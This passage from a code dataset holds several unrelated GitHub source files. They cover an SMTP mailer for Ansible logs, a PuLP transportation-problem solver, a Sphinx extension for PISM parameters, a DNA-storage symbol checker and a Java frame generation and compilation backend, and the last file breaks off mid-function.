{"seq_id":"37573457589","text":"\"\"\"Mailer functions for API\"\"\"\r\nimport os\r\nfrom string import Template\r\n\r\nimport smtplib\r\nfrom email import encoders\r\nfrom email.mime.base import MIMEBase\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\n\r\nfrom app.conf.config import APP_PATH, MAILRELAY, MAIL_PORT, EMAIL_SENDER, APP_URL, COMPANY_INFO\r\n\r\n\r\n\r\ndef send_email_api(receiver_email, filename, api_user):\r\n    \"\"\" Function that handles mail for API calls \"\"\"\r\n    subject = \"API call Ansible runlog\"\r\n    template = os.path.join(APP_PATH, \"restapi\", \"templates\", \"restapi\", \"api_email_template.html\")\r\n    body_file = open(template)\r\n    body_template = body_file.read()\r\n    # Pass variables into the HTML template\r\n    body = Template(body_template).safe_substitute(curr_user=str(api_user), app_url=str(APP_URL), company_info=str(COMPANY_INFO))\r\n    sender_email = EMAIL_SENDER\r\n\r\n    # Create a multipart message and set headers\r\n    message = MIMEMultipart(\"alternative\")\r\n    message[\"From\"] = sender_email\r\n    message[\"To\"] = receiver_email\r\n    message[\"Subject\"] = subject\r\n\r\n    # Add body to email\r\n    message.attach(MIMEText(body, \"html\"))\r\n    body_file.close()\r\n\r\n    # Open attachment file in binary mode\r\n    file_path = os.path.join(APP_PATH, \"logs\", filename)\r\n    with open(file_path, \"rb\") as attachment:\r\n        # Add file as application/octet-stream\r\n        # Email client can usually download this automatically as attachment\r\n        part = MIMEBase(\"application\", \"octet-stream\")\r\n        part.set_payload(attachment.read())\r\n\r\n    # Encode file in ASCII characters to send by email\r\n    encoders.encode_base64(part)\r\n\r\n    # Add header as key/value pair to attachment part\r\n    part.add_header(\r\n        \"Content-Disposition\",\r\n        f\"attachment; filename= {filename}\",\r\n    )\r\n\r\n    # Add attachment to message and convert message to string\r\n    message.attach(part)\r\n    text = message.as_string()\r\n\r\n    # Send email via mailrelay using SMTP\r\n    with smtplib.SMTP(MAILRELAY, MAIL_PORT) as server:\r\n        server.sendmail(sender_email, receiver_email, text)\r\n","repo_name":"dpilipovic/flansible","sub_path":"app/restapi/mailer_api.py","file_name":"mailer_api.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"24301906980","text":"'''\n    linear programming\n    Transportation problem\n    Used package: pulp, numpy\n'''\nimport pulp\nimport numpy as np\nfrom pprint import pprint\n\ndef transportation_problem(costs, x_max, y_max):\n    '''\n    :param costs: an array contains every items cost\n    :param x_max: constraint value of x\n    :param y_max: constraint value of y\n    :return:\n    '''\n\n    row = len(costs)\n    col = len(costs[0])\n\n    '''\n        First, init a problem named \"prob\", sense means what we want to get, \"LpMaximize\" means we want a max value\n    '''\n    prob = pulp.LpProblem('Transportation Problem', sense=pulp.LpMaximize)\n\n    '''\n        Second, set constraint value, lowBound means the lowest permitted value, cat means type of value\n    '''\n    var = [[pulp.LpVariable(f'x{i}{j}', lowBound=0, cat=pulp.LpInteger) for j in range(col)] for i in range(row)]\n\n    '''\n        Third, set constraint function\n    '''\n    flatten = lambda x: [y for l in x for y in flatten(l)] if type(x) is list else [x]\n\n    prob += pulp.lpDot(flatten(var), costs.flatten())\n\n    for i in range(row):\n        prob += (pulp.lpSum(var[i]) <= x_max[i])\n\n    for j in range(col):\n        prob += (pulp.lpSum([var[i][j] for i in range(row)]) <= y_max[j])\n\n    prob.solve()\n\n    return {'objective':pulp.value(prob.objective), 'var': [[pulp.value(var[i][j]) for j in range(col)] for i in range(row)]}\n\nif __name__ == '__main__':\n    costs = np.array([[500, 550, 630, 1000, 800, 700],\n                       [800, 700, 600, 950, 900, 930],\n                       [1000, 960, 840, 650, 600, 700],\n                       [1200, 1040, 980, 860, 880, 780]])\n\n    max_plant = [76, 88, 96, 40] # x\n    max_cultivation = [42, 56, 44, 39, 60, 59] # y\n    res = transportation_problem(costs, max_plant, max_cultivation)\n    pprint(res)\n'''\n    The output of last line is::\n        {'objective': 284230.0,\n         'var': [[0.0, 0.0, 6.0, 39.0, 31.0, 0.0],\n                 [0.0, 0.0, 0.0, 0.0, 29.0, 59.0],\n                 [2.0, 56.0, 38.0, 0.0, 0.0, 0.0],\n                 [40.0, 0.0, 0.0, 0.0, 0.0, 0.0]]}\n                 \n    In this lines, objective means needed value, var means corresponding arguments\n'''","repo_name":"TremblingV5/MathematicalModeling","sub_path":"Modern_mathematical_modeling/Chapter_01_linear_problem/Transportation_problem.py","file_name":"Transportation_problem.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37013009618","text":"from docutils.parsers.rst import Directive, directives\nfrom docutils import nodes\nfrom docutils.core import publish_doctree\nfrom sphinx.errors import SphinxError\nimport os\nimport netCDF4\nimport re\n\n# We store this using a global variable because this much data seems\n# to break Sphinx if we store it in an env attribute. (For small\n# numbers of parameters config_role an access env via\n# inliner.document.settings.env, for larger numbers it cannot.)\npism_data = {}\n\ndef make_id(parameter):\n    return \"config-\" + parameter\n\nclass config(nodes.literal):\n    parameter = None\n\n    def __init__(self, parameter, **kwargs):\n        self.parameter = parameter\n\n        nodes.literal.__init__(self, parameter, **kwargs)\n\n# this node makes it possible to add soft hyphens to wrap long parameter names\nclass softhyphen(nodes.Element):\n    pass\n\ndef visit_softhyphen_html(self, node):\n    self.body.append('&shy;')\n\ndef depart_softhyphen_html(self, node):\n    pass\n\ndef visit_softhyphen_latex(self, node):\n    self.body.append(r\"\\-\")\n\ndef depart_softhyphen_latex(self, node):\n    pass\n\ndef config_role(typ, rawtext, text, lineno, inliner, options={}, content=[]):\n    \"\"\"Parse :config:`parameter` roles and create `config` nodes resolved\n    in resolve_config_links().\"\"\"\n\n    # Warn about misspelled parameters names.\n    if text not in pism_data:\n        msg = inliner.reporter.error('{}: invalid parameter name'.format(rawtext),\n                                     line=lineno)\n        prb = inliner.problematic(rawtext, rawtext, msg)\n        return [prb], [msg]\n\n    name = text\n\n    return [config(name, text=text)], []\n\nclass ParameterList(Directive):\n    has_content = False\n    required_arguments = 0\n\n    option_spec = {\"prefix\": directives.unchanged,\n                   \"exclude\": directives.unchanged}\n\n    def format_value(self, value, T):\n        if T == \"string\" and len(value) == 0:\n            return nodes.emphasis(\"\", \"empty\")\n\n        if T in [\"string\", \"keyword\" ]:\n            return nodes.literal(value, value.replace(\",\", \", \"))\n\n        if T in [\"number\", \"integer\"]:\n            return nodes.Text(\"{:g}\".format(value))\n\n        if T == \"flag\":\n            return nodes.Text(str(value))\n\n    def list_entry(self, name, data):\n        \"Build an entry for the list of parameters.\"\n\n        p1 = nodes.paragraph()\n        p1 += nodes.target('', '', ids=[make_id(name)])\n        p1 += nodes.literal(\"\", name)\n\n        fl = nodes.field_list()\n\n        if True:\n            f = nodes.field()\n            f += [nodes.field_name(\"\", \"Type\"),\n                  nodes.field_body(\"\", nodes.Text(\" \" + data[\"type\"]))]\n            fl += f\n\n            f = nodes.field()\n            value = nodes.paragraph()\n            value += self.format_value(data[\"value\"], data[\"type\"])\n            if \"units\" in data:\n                value += nodes.emphasis(\"\", \" ({})\".format(data[\"units\"]))\n            f += [nodes.field_name(\"\", \"Default value\"),\n                  nodes.field_body(\"\", value)]\n            fl += f\n\n        if \"choices\" in data:\n            choices = self.format_value(data[\"choices\"], \"keyword\")\n            f = nodes.field()\n            f += [nodes.field_name(\"\", \"Choices\"),\n                  nodes.field_body(\"\", nodes.paragraph(\"\", \"\", choices))]\n            fl += f\n\n        if \"option\" in data:\n            option = self.format_value(\"-\" + data[\"option\"], \"keyword\")\n            f = nodes.field()\n            f += [nodes.field_name(\"\", \"Option\"),\n                  nodes.field_body(\"\", nodes.paragraph(\"\", \"\", option))]\n            fl += f\n\n        p2 = nodes.paragraph()\n        doc, _ = self.state.inline_text(data[\"doc\"], self.lineno)\n        p2 += doc\n        p2 += fl\n\n        return [p1, p2]\n\n    def compact_list_entry(self, name, text, data):\n        \"Build an entry for the compact list of parameters.\"\n\n        p1 = nodes.paragraph()\n        p1 += config(name, text=text)\n\n        if not (data[\"type\"] == \"string\" and len(data[\"value\"]) == 0):\n            p1 += nodes.Text(\" (\")\n            p1 += self.format_value(data[\"value\"], data[\"type\"])\n            if \"units\" in data:\n                if data[\"units\"] not in [\"1\", \"pure number\", \"count\"]:\n                    p1 += nodes.emphasis(\"\", \" {units}\".format(**data))\n            p1 += nodes.Text(\")\")\n\n        doc, _ = self.state.inline_text(data[\"doc\"], self.lineno)\n\n        p1 += nodes.Text(\" \")\n        p1 += doc\n\n        return p1\n\n    def run(self):\n        env = self.state.document.settings.env\n\n        # make sure the current document gets re-built if the config file changes\n        env.note_dependency(env.pism_parameters[\"filename\"])\n\n        if \"prefix\" in self.options:\n            prefix = self.options[\"prefix\"]\n        else:\n            prefix = \"\"\n\n            # Store the docname corresponding to this parameter list.\n            # It is used in resolve_config_links() to build URIs.\n            env.pism_parameters[\"docname\"] = env.docname\n\n        if \"exclude\" in self.options:\n            exclude = self.options[\"exclude\"]\n        else:\n            exclude = None\n\n        full_list = prefix == \"\" and exclude == None\n\n        parameter_list = nodes.enumerated_list()\n\n        parameters_found = False\n        for name in sorted(pism_data.keys()):\n\n            pattern = \"^\" + prefix\n            # skip parameters that don't have the desired prefix\n            if not re.match(pattern, name):\n                continue\n\n            if exclude and re.match(exclude, name):\n                continue\n\n            parameters_found = True\n\n            item = nodes.list_item()\n\n            if full_list:\n                # only the full parameter list items become targets\n                item += self.list_entry(name, pism_data[name])\n            else:\n                item += self.compact_list_entry(name,\n                                                re.sub(pattern, \"\", name),\n                                                pism_data[name])\n            parameter_list += item\n\n        if not parameters_found:\n            msg = 'Error in a \"{}\" directive: no parameters with prefix \"{}\".'.format(self.name, prefix)\n            text_error = nodes.error()\n            text_error += nodes.Text(msg)\n\n            reporter = self.state_machine.reporter\n            system_error = reporter.error(msg, nodes.literal('', ''), line=self.lineno)\n            return [text_error, system_error]\n\n        return [parameter_list]\n\ndef resolve_config_links(app, doctree, fromdocname):\n    \"\"\"Replace config nodes with references to items in the list of\n    parameters.\n    \"\"\"\n    docname = app.builder.env.pism_parameters[\"docname\"]\n\n    for node in doctree.traverse(config):\n        reference = nodes.reference('', '')\n        reference['internal'] = True\n        reference['refdocname'] = docname\n        reference['refuri'] = \"{}#{}\".format(app.builder.get_relative_uri(fromdocname, docname),\n                                             make_id(node.parameter))\n\n        # Allow wrapping long parameter names\n        words = node.astext().split(\".\")\n        reference += nodes.literal(\"\", words[0])\n        for w in words[1:]:\n            reference += [softhyphen(), nodes.literal(\"\", \".\" + w)]\n\n        node.replace_self(reference)\n\ndef init_pism_parameters(app):\n    \"\"\"Read and pre-process the list of PISM's configuration parameters.\"\"\"\n    global pism_data\n    env = app.builder.env\n\n    filename = os.path.normpath(app.config.pism_config_file)\n\n    if not hasattr(env, \"pism_parameters\"):\n        # the path to the configuration file (used to tell Sphinx to\n        # re-build if it changes)\n        env.pism_parameters = {\"filename\" : filename}\n\n    f = netCDF4.Dataset(filename)\n    variable = f.variables[\"pism_config\"]\n    data = {k : getattr(variable, k) for k in variable.ncattrs()}\n\n    suffixes = [\"choices\", \"doc\", \"option\", \"type\", \"units\"]\n\n    def special(name):\n        \"Return true if 'name' is a 'special' parameter, false otherwise.\"\n        for suffix in suffixes:\n            if name.endswith(\"_\" + suffix) or name == \"long_name\":\n                return True\n        return False\n\n    for key, value in data.items():\n        if special(key):\n            continue\n\n        pism_data[key] = {\"value\" : value}\n\n        for s in suffixes:\n            try:\n                pism_data[key][s] = data[key + \"_\" + s]\n            except:\n                pass\n\ndef check_consistency(app, env):\n    \"\"\"Check if we have a full parameter list with link targets\"\"\"\n    if not \"docname\" in env.pism_parameters:\n        raise SphinxError(\"make sure that this document contains a pism-parameters directive\")\n\ndef env_purge_doc(app, env, docname):\n    \"\"\"Update the environment if the file containing the full list changed\"\"\"\n    if \"docname\" in env.pism_parameters and docname == env.pism_parameters[\"docname\"]:\n        del env.pism_parameters[\"docname\"]\n\ndef setup(app):\n    app.add_config_value('pism_config_file', \"pism_config.json\", 'env')\n\n    app.add_node(config)\n    app.add_node(softhyphen,\n                 html=(visit_softhyphen_html, depart_softhyphen_html),\n                 latex=(visit_softhyphen_latex, depart_softhyphen_latex))\n    app.add_role('config', config_role)\n    app.add_directive('pism-parameters', ParameterList)\n\n    app.connect(\"builder-inited\", init_pism_parameters)\n    app.connect(\"env-purge-doc\", env_purge_doc)\n    app.connect(\"env-check-consistency\", check_consistency)\n    app.connect('doctree-resolved', resolve_config_links)\n\n    return {\n        'version': '0.1',\n        'parallel_read_safe': False,\n        'parallel_write_safe': True,\n    }\n","repo_name":"pism/pism","sub_path":"doc/sphinx/pism_config.py","file_name":"pism_config.py","file_ext":"py","file_size_in_byte":9582,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"18"}
{"seq_id":"42802502859","text":"import json\noriginal_file = '/raid/nanopore/shubham/Nanopore-DNA-storeage/oligos_2_7_19/code/conv_m11_nosync_init_64payload_init10010110001_oligos_raptor_coded'\nrecon_file = 'tmpfile.m11_nosync.l_64.280743'\nwith open(recon_file) as f:\n    m1 = json.loads(f.read())\nwith open(original_file) as f:\n    m2 = json.loads(f.read())\nprint('Number of symbols in original:',len(m2['symbols']))\nprint('Number of symbols in reconstruction:',len(m1['symbols']))\nd1 = {l[0]:l[1] for l in m1['symbols']}\nd2 = {l[0]:l[1] for l in m2['symbols']}\n\nto_be_removed = []\nfor k in d1:\n    if k not in d2:\n        # out of range\n        to_be_removed.append(k)\n\nfor k in to_be_removed:\n    del d1[k]\nprint('Number of symbols out of range:',len(to_be_removed))\nprint('Number of erroneous symbols in reconstruction:',sum([d1[k]!=d2[k] for k in d1]))\n","repo_name":"shubhamchandak94/nanopore_dna_storage","sub_path":"util/extra/vocab/check_raptor.py","file_name":"check_raptor.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"}
{"seq_id":"28813499567","text":"# -*- coding: utf-8 -*-\nimport csv\nimport glob\nimport logging\nimport multiprocessing\nimport os\nimport re\nimport shutil\nimport subprocess\nimport tempfile\n\nfrom delia_commons import deliafile\nfrom delia_preprocessor.deliaobject import DeliaObject\nfrom delia_tokenizer import token\nfrom delia_tokenizer.tokenize import get_type, get_token, get_path, get_offset\n\nfrom factory import consts\nfrom factory.backends.base import delia_context, get_project_path\nfrom factory.deliaobject import Procedure\n\nlog = logging.getLogger(__name__)\n\n\ndef ignore_comment_ws(scanner):\n    for lexeme in scanner:\n        if get_type(*lexeme) not in (token.comment, token.WS):\n            yield lexeme\n\n\ndef load_frame_map(path):\n    frame_map = {}\n    if not os.path.exists(path):\n        return frame_map\n    with open(path, newline='') as fd:\n        reader = csv.DictReader(fd, delimiter=';')\n        for row in reader:\n            if len(row) == 6:\n                frame_map[row['frame_name']] = [\n                    (int(row['X']), int(row['Y']), int(row['Z'])),\n                    (int(row['new_X']), int(row['new_Y'])),\n                ]\n    return frame_map\n\n\nFRAME_MAP_BASENAME = 'frame_map.csv'\n\n\nclass BaseFrameBackend(object):\n    def export_frame_map(self, schema_version, procedure_name, revision):\n        url = self.url + '/gp{schema_version}/adl/src/gra/java/{procedure_basename}/{basename}'.format(\n            schema_version=schema_version,\n            procedure_basename=procedure_name.replace('.', '_'),\n            basename=FRAME_MAP_BASENAME,\n        )\n        with tempfile.TemporaryDirectory() as temp:\n            path = os.path.join(temp, FRAME_MAP_BASENAME)\n            if not self.subversion_backend.safe_export(url, path, revision=max(revision, consts.FRAME_MAP_MIN_REVISION)):\n                return {}\n            return load_frame_map(path)\n\n\nclass FrameAreaBackend(BaseFrameBackend):\n    def __init__(self, subversion_backend, url, sandbox_timeout=5 * 60):\n        super(FrameAreaBackend, self).__init__()\n        self.subversion_backend = subversion_backend\n        self.url = url\n        self.sandbox_timeout = sandbox_timeout\n\n    def expanse(self, checkout, schema_version, procedure_name):\n        ctx = delia_context()\n        ctx.initialize(get_project_path(checkout, schema_version))\n        procedure = Procedure(procedure_name)\n        procedure_path = deliafile.DeliaFile(ctx, True, procedure_name).path\n        with tempfile.TemporaryDirectory() as temp:\n            procedure_new_path = os.path.join(temp, os.path.basename(procedure_path))\n            with open(procedure_new_path, 'w', encoding='latin1') as fd:\n                for line in procedure.listing_gen():\n                    fd.write(line)\n                    fd.write('\\n')\n            shutil.move(procedure_new_path, procedure_path)\n\n    def tokenize(self, checkout, schema_version, procedure_name):\n        frames = {}\n        frame_name = None\n        ctx = delia_context()\n        ctx.initialize(get_project_path(checkout, schema_version))\n        procedure = DeliaObject(procedure_name)\n        scanner = ignore_comment_ws(procedure.scan_all())\n        for lexeme in scanner:\n            lexeme_type = get_type(*lexeme)\n            if lexeme_type == token.FRAME:\n                lexeme = next(scanner)\n                if get_type(*lexeme) == token.mag_name:\n                    frame_name = get_token(*lexeme).lower()\n            elif frame_name and lexeme_type == token.FRAME_AREA:\n                from_lexeme = next(scanner)\n                if get_type(*from_lexeme) == token.integer:\n                    next(scanner)\n                    to_lexeme = next(scanner)\n                    if get_type(*to_lexeme) == token.integer:\n                        if frame_name in frames:\n                            raise ValueError(frame_name)\n                        frames[frame_name] = (from_lexeme, to_lexeme)\n        return procedure.files, frames\n\n    def fix(self, schema_version, procedure_name, revision, checkout, sandbox=False):\n        frame_map = self.export_frame_map(schema_version, procedure_name, revision)\n        if not frame_map:\n            log.info('frame fix ignored as %d:%s@%d has no frame map', schema_version, procedure_name, revision)\n            return\n        args = (schema_version, procedure_name, checkout, frame_map)\n        if sandbox:\n            failure = None\n            ctx = multiprocessing.get_context('spawn')\n            process = ctx.Process(target=self._fix, args=args)\n            process.start()\n            process.join(self.sandbox_timeout)\n            if process.exitcode is None:\n                process.terminate()\n                failure = 'timeout'\n            elif process.exitcode != 0:\n                failure = 'exit: %d' % process.exitcode\n            if failure:\n                raise ValueError('failed to fix frames of %d:%s@%d (%s)' % (schema_version, procedure_name, revision, failure))\n        else:\n            self._fix(*args)\n\n    def fix_local(self, schema_version, procedure_name, checkout):\n        frame_map_path = os.path.join(checkout, 'gp%d' % schema_version, 'adl', 'src', 'gra', 'java', procedure_name.replace('.', '_').lower(), FRAME_MAP_BASENAME)\n        frame_map = load_frame_map(frame_map_path)\n        if not frame_map:\n            log.info('frame fix ignored as %d:%s has no frame map', schema_version, procedure_name)\n            return\n        self._fix(schema_version, procedure_name, checkout, frame_map)\n\n    def _fix(self, schema_version, procedure_name, checkout, frame_map):\n        # Need to work on expanse as some FRAME.AREA are defined in MACROs T_T\n        self.expanse(checkout, schema_version, procedure_name)\n        files, frames = self.tokenize(checkout, schema_version, procedure_name)\n        patch = {}\n        for frame_name, [(X, Y, Z), (new_X, new_Y)] in frame_map.items():\n            if frame_name in frames:\n                from_lexeme, to_lexeme = frames[frame_name]\n                if X != new_X:\n                    from_path = files[get_path(*from_lexeme)]\n                    from_offset = get_offset(*from_lexeme)\n                    from_token = get_token(*from_lexeme)\n                    if from_path not in patch:\n                        patch[from_path] = []\n                    patch[from_path].append((from_offset, from_token, str(new_X)))\n                if Y != new_Y:\n                    to_path = files[get_path(*to_lexeme)]\n                    to_offset = get_offset(*to_lexeme)\n                    to_token = get_token(*to_lexeme)\n                    if to_path not in patch:\n                        patch[to_path] = []\n                    patch[to_path].append((to_offset, to_token, str(new_Y)))\n        if len(patch) == 0:\n            log.info('nothing to fix in %d:%s', schema_version, procedure_name)\n        for path, data in patch.items():\n            log.info('fix frame in %s for %d:%s', os.path.basename(path), schema_version, procedure_name)\n            with open(path, 'rb') as fd:  # offset comes as binaries\n                content = fd.read()\n            data.sort(key=lambda x: x[0], reverse=True)\n            for offset, token, new_token in data:\n                log.info('replace %s by %s @%d in %s for %d:%s', token, new_token, offset, os.path.basename(path), schema_version, procedure_name)\n                content = content[:offset - len(token)] + new_token.encode('latin1') + content[offset:]\n            with open(path, 'wb') as fd:\n                fd.write(content)\n\n\nclass FrameBackend(BaseFrameBackend):\n    WEBINTAKE_CLIENT_JAR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'webintake-client.jar')\n    POM_XML = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'pom.xml')\n    LEGACY_NAME_RE = re.compile('^frm_(?P<X>\\d+)_(?P<Y>\\d+)_(?P<Z>\\d+).java$')\n    NAME_RE = re.compile('^frm_(?P<X>\\d+)_(?P<Y>\\d+).java$')\n    MLG_TEMPLATE = '''package %(package)s;\n\nimport java.util.*;\n\npublic class %(name)s_%(lang)s extends ListResourceBundle\n{\n\\tpublic Object[][] getContents() {\n\\t\\treturn contents;\n\\t}\n\n\\tstatic final Object[][] contents =\n\\t{\n%(contents)s\n\\t};\n}\n'''\n\n    def __init__(self, subversion_backend, url, java_home, m2_home, compile_timeout=120):\n        super(FrameBackend, self).__init__()\n        self.subversion_backend = subversion_backend\n        self.url = url\n        if not java_home or not os.path.isdir(java_home):\n            raise ValueError('JAVA_HOME does not exist: %s' % java_home)\n        if not m2_home or not os.path.isdir(m2_home):\n            raise ValueError('M2_HOME does not exist: %s' % m2_home)\n        self.java_home = java_home\n        self.m2_home = m2_home\n        self.compile_timeout = compile_timeout\n\n    def is_comment(self, line):\n        return line.strip().startswith('//')\n\n    def get_url(self, schema_version, procedure_name):\n        return self.url + '/gp{schema_version}/adl/src/gra/java/{procedure_basename}'.format(\n            schema_version=schema_version,\n            procedure_basename=procedure_name.replace('.', '_'),\n        )\n\n    def get_legacy_paths(self, frame_dir):\n        return self._get_paths(frame_dir, self.LEGACY_NAME_RE)\n\n    def get_paths(self, frame_dir):\n        return self._get_paths(frame_dir, self.NAME_RE)\n\n    def _get_paths(self, frame_dir, pattern):\n        frame_paths = []\n        if os.path.isdir(frame_dir):\n            for bn in os.listdir(frame_dir):\n                if pattern.match(bn):\n                    frame_paths.append(os.path.join(frame_dir, bn))\n        return frame_paths\n\n    def get_new_names(self, frame_dir, frame_map, frame_revisions):\n        frames = list(frame_revisions.items())\n        frames.sort(key=lambda x: x[1])\n        new_names = {}\n        areas = []\n        for frame_name, (area, new_area) in frame_map.items():\n            areas.append(area)\n        for frame_path, revision in frames:\n            m = self.LEGACY_NAME_RE.match(os.path.basename(frame_path))\n            X = int(m.group('X'))\n            Y = int(m.group('Y'))\n            Z = int(m.group('Z'))\n            if (X, Y, Z) not in areas:\n                new_names['frm_%d_%d' % (X, Y)] = frame_path\n        for frame_name, (area, new_area) in frame_map.items():\n            frame_path = os.path.join(frame_dir, 'frm_%d_%d_%d.java' % area)\n            if os.path.isfile(frame_path):\n                new_names['frm_%d_%d' % new_area] = frame_path\n        return new_names\n\n    def get_name(self, frame_path):\n        return os.path.basename(frame_path)[:-len('.java')]\n\n    def generate(self, frame_path, frame_new_dir, frame_encoding, frame_new_name=None):\n        keys = {}\n        frame_name = self.get_name(frame_path)\n        if not frame_new_name:\n            frame_new_name = frame_name\n        frame_new_path = os.path.join(frame_new_dir, frame_new_name + '.java')\n        if not os.path.exists(frame_new_dir):\n            os.makedirs(frame_new_dir)\n        with open(frame_path, encoding=frame_encoding) as frame_fd:\n            with open(frame_new_path, 'w', encoding='utf-8') as frame_new_fd:\n                content = frame_fd.read()\n                if frame_name != frame_new_name:\n                    content = content.replace(frame_name, frame_new_name)\n                for line in content.splitlines(False):\n                    if 'SgfTranslator' in line and self.is_comment(line):\n                        frame_new_fd.write(line.replace('//', '', 1) + '\\n')\n                    elif self.is_comment(line):\n                        pass\n                    elif 'setText' in line or 'setToolTipText' in line or 'setBeanText' in line or 'setTitle' in line:\n                        start = line.find('(\"')\n                        stop = line.rfind('\")')\n                        key = line[0: line.find('.')].strip().upper()\n                        msgid = line[start + 2: stop].replace('\\\\n', '\\n').replace('\\\\\"', '\"')\n                        if msgid.strip() == '':\n                            frame_new_fd.write(line + '\\n')\n                        else:\n                            if 'setToolTipText' in line or 'setBeanText' in line:\n                                key += '_T'\n                            frame_new_fd.write(line[0: start] + '(trans.getString(\"' + key + '\"))' + line[stop + 2:] + '\\n')\n                            keys[key] = msgid\n                    elif 'Placement' in line:\n                        pass\n                    else:\n                        frame_new_fd.write(line + '\\n')\n        return keys\n\n    def generate_lang(self, frame_dir, frame_name, lang, mo, keys):\n        frame_new_path = os.path.join(frame_dir, frame_name + '_' + lang + '.java')\n        with open(frame_new_path, 'w', encoding='utf-8') as frame_new_fd:\n            contents = []\n            for key, msgid in keys.items():\n                # TODO: find stripped\n                msgstr = None\n                if mo:\n                    entry = mo.find(msgid)\n                    if entry and entry.msgstr:\n                        msgstr = entry.msgstr\n                if msgstr is None:\n                    msgstr = msgid\n                # Strip the message. Why?\n                msgstr = msgstr.strip().replace('\\r', '').replace('\"', '\\\\\"').replace('\\n', '\\\\n')\n                contents.append('\\t\\t{\"%s\", \"%s\"}' % (key, msgstr))\n            context = {\n                'package': os.path.basename(frame_dir),\n                'name': frame_name,\n                'lang': lang,\n                'contents': ',\\n'.join(contents)\n            }\n            frame_new_fd.write(self.MLG_TEMPLATE % context)\n\n    def compile(self, schema_version, procedure_name, frame_dir, class_dir):\n        if not os.path.exists(class_dir):\n            os.makedirs(class_dir)\n        env = os.environ.copy()\n        env.pop('CLASSPATH', None)\n        env['LANG'] = 'en_US.UTF-8'\n        env['JAVA_HOME'] = self.java_home\n        env['M2_HOME'] = self.m2_home\n        env['PATH'] = os.pathsep.join([\n            os.path.join(self.java_home, 'bin'),\n            os.path.join(self.m2_home, 'bin'),\n            env.get('PATH', ''),\n        ])\n        src_paths = glob.glob(os.path.join(frame_dir, '*.java'))\n        with tempfile.TemporaryDirectory() as temp:\n            if schema_version <= 2009:\n                command = [\n                    os.path.join(self.java_home, 'bin', 'javac'),\n                    '-cp', self.WEBINTAKE_CLIENT_JAR,\n                    '-nowarn',\n                    '-d', class_dir,\n                ]\n                command.extend(src_paths)\n            else:\n                command = [\n                    os.path.join(self.m2_home, 'bin', 'mvn'),\n                    '--file', self.POM_XML,\n                    '-Dsrc.directory=' + os.path.dirname(frame_dir),\n                    '-Doutput.directory=' + class_dir,\n                    '-Dtarget.directory=' + temp,\n                ]\n            try:\n                output = subprocess.check_output(command, env=env, stderr=subprocess.STDOUT, timeout=self.compile_timeout).decode('utf-8', 'replace')\n            except subprocess.CalledProcessError as e:\n                print(e.output.decode('utf-8', 'replace'))\n\n        for src_path in src_paths:\n            bin_path = os.path.join(\n                class_dir,\n                procedure_name.replace('.', '_'),\n                os.path.splitext(os.path.basename(src_path))[0] + '.class',\n            )\n            if not os.path.isfile(bin_path):\n                raise ValueError('class %s for %s does not exist' % (os.path.basename(bin_path), procedure_name))\n        return output\n\n    def generate_all(self, schema_version, procedure_name, all_mo, frame_dir, frame_names, encoding):\n        # Go threw the frames to process\n        for frame_name, frame_path in frame_names.items():\n            # Log\n            log.info('generate frame %s for %d:%s from %s', frame_name, schema_version, procedure_name, frame_path)\n            # Generate the new frame\n            keys = self.generate(frame_path, frame_dir, encoding, frame_name)\n            # Go threw that supported languages\n            for lang, mo in all_mo.items():\n                # Log\n                log.info('generate %s frame %s for %d:%s', lang, frame_name, schema_version, procedure_name)\n                # Generate the new internationalized frame\n                self.generate_lang(frame_dir, frame_name, lang, mo, keys)\n\n    def generate_and_compile(self, schema_version, procedure_name, revision, all_mo, output_dir):\n        # Log\n        log.info('generate frames for %d:%s@%d', schema_version, procedure_name, revision)\n        # Get work folder\n        with tempfile.TemporaryDirectory() as temp:\n            # Inputs\n            procedure_basename = procedure_name.replace('.', '_')\n            frame_dir = os.path.join(temp, 'frame', procedure_basename)\n            frame_new_dir = os.path.join(temp, 'frame_new', procedure_basename)\n            # Keep in mind if frames were created\n            has_frame = False\n            # Get frames URL\n            url = self.get_url(schema_version, procedure_name)\n            # Checkout frames\n            if self.subversion_backend.safe_checkout(url, frame_dir, revision=revision):\n                # Get the list of legacy frames\n                frame_legacy_paths = self.get_legacy_paths(frame_dir)\n                # Check if at least one legacy frame\n                if frame_legacy_paths:\n                    # Get the frame revisions (to be able to sort them)\n                    frame_revisions = self.subversion_backend.get_revisions(frame_legacy_paths)\n                    # Get frame mapping\n                    frame_map = self.export_frame_map(schema_version, procedure_name, revision)\n                    # Map old names with new ones\n                    frame_new_names = self.get_new_names(frame_dir, frame_map, frame_revisions)\n                    # Generate all frames\n                    self.generate_all(schema_version, procedure_name, all_mo, frame_new_dir, frame_new_names, 'latin1')\n                    # At least one frame\n                    has_frame = True\n                # Get the list of new frames\n                frame_paths = self.get_paths(frame_dir)\n                # Check if at least one new frame\n                if frame_paths:\n                    # Get frame names\n                    frame_names = dict([(self.get_name(frame_path), frame_path) for frame_path in frame_paths])\n                    # Generate all frames\n                    self.generate_all(schema_version, procedure_name, all_mo, frame_new_dir, frame_names, 'utf-8')\n                    # At least one frame\n                    has_frame = True\n                # Check if at least one frame\n                if has_frame:\n                    # Log\n                    log.info('compile %d:%s frames', schema_version, procedure_name)\n                    # Compile all the frames\n                    self.compile(schema_version, procedure_name, frame_new_dir, output_dir)\n            # No frame, log it\n            if not has_frame:\n                log.info('%d:%s has no frame', schema_version, procedure_name)\n\n    def generate_and_compile_local(self, schema_version, procedure_name, all_mo, checkout, output_dir, compile_legacy=True):\n        # Log\n        log.info('generate frames for %d:%s', schema_version, procedure_name)\n        # Input\n        procedure_basename = procedure_name.replace('.', '_').lower()\n        # Frame directory\n        frame_dir = os.path.join(checkout, 'gp%d' % schema_version, 'adl', 'src', 'gra', 'java', procedure_basename)\n        # Keep in mind if frames were created\n        has_frame = False\n        # Checkout frames\n        if os.path.isdir(frame_dir):\n            # Get work folder\n            with tempfile.TemporaryDirectory() as temp:\n                # Get the new frame directory\n                